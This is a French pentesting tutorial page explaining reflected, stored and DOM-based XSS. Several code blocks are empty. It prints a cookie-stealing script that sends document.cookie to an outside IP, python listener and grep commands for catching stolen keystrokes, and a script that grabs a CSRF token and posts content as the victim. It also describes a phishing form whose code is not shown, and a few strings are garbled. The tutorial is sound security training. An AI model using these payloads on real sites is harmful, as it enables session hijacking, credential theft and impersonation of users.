> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# Techniques XSS
## XSS (réfléchie) :
> Réfléchie : Ce type de XSS se produit lorsque des données fournies par l'utilisateur sont renvoyées dans la réponse HTTP sans validation appropriée. Cela permet à un attaquant d'injecter du code malveillant dans la réponse, qui est ensuite exécuté dans le navigateur de l'utilisateur.
* Dans ce cas, nous pouvons injecter du code HTML comme dans l'exemple ci-dessous : `test
Test
`:
* Nous pouvons voir que nous avons pu modifier la taille du texte avec **h1** balise :
## XSS (stockée) :
> Stockée : Ce type de XSS se produit lorsqu'un attaquant peut stocker du code malveillant dans une base de données ou sur le serveur web hébergeant une page vulnérable. Ce code est exécuté à chaque chargement de la page. Si nous lançons un script comme celui ci-dessous dans un formulaire, ``, et obtenons l'alerte ci-dessous, cela signifie que le site web est vulnérable à ce type d'attaque :
Nous pourrions rediriger l'utilisateur vers un site web vulnérable et mener une attaque de phishing :
```javascript
```
Ce code JavaScript crée un formulaire de connexion sur une page web et envoie les données saisies (adresse e-mail et mot de passe) à une adresse IP spécifiée via une requête HTTP à l'aide de `fetch()`.
```javascript
```
Nous écoutons sur le port 80 avec **python3**:
```bash
python3 -m http.server 80
```
## XSS (basée sur le DOM) :
> Basée sur le DOM : Ce type de XSS se produit lorsque le code malveillant s'exécute dans le navigateur de l'utilisateur via le DOM (Document Object Model). Cela se produit lorsque le code JavaScript d'une page web modifie le DOM d'une manière vulnérable à l'injection de code malveillant. Le script ci-dessous peut capturer toutes les frappes au clavier de l'utilisateur et les envoyer à un **python3** serveur sur le port 80 :
```javascript
```
Nous pouvons écouter en filtrant uniquement les caractères qui nous intéressent avec **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
Pour obtenir le cookie de session d'un serveur tiers, nous créons ce fichier sur notre ordinateur **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
Dans le formulaire, nous envoyons ce script :
```html
```
Nous écoutons et obtenons le cookie de session de l'utilisateur :
Pour écrire quelque chose au nom d'une autre personne, nous pourrions suivre les étapes ci-dessous : Interceptez la requête avec [Burp Suite](/fr/hacking-tools/web/burpsuite.md) et copiez le contenu mis en évidence en rouge :
Le script ci-dessous effectue une **GET** requête vers une URL locale, analyse la réponse HTML pour identifier un **CSRF** jeton, puis effectue une requête POST avec des données qui incluent le jeton CSRF vers la même URL. Le `données` variable encodée en URL envoie les informations au serveur où ce script est implémenté. Il est essentiel de modifier les `données` valeurs, le jeton et l'adresse IP.
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
Dans le formulaire, nous envoyons ce script :
```javascript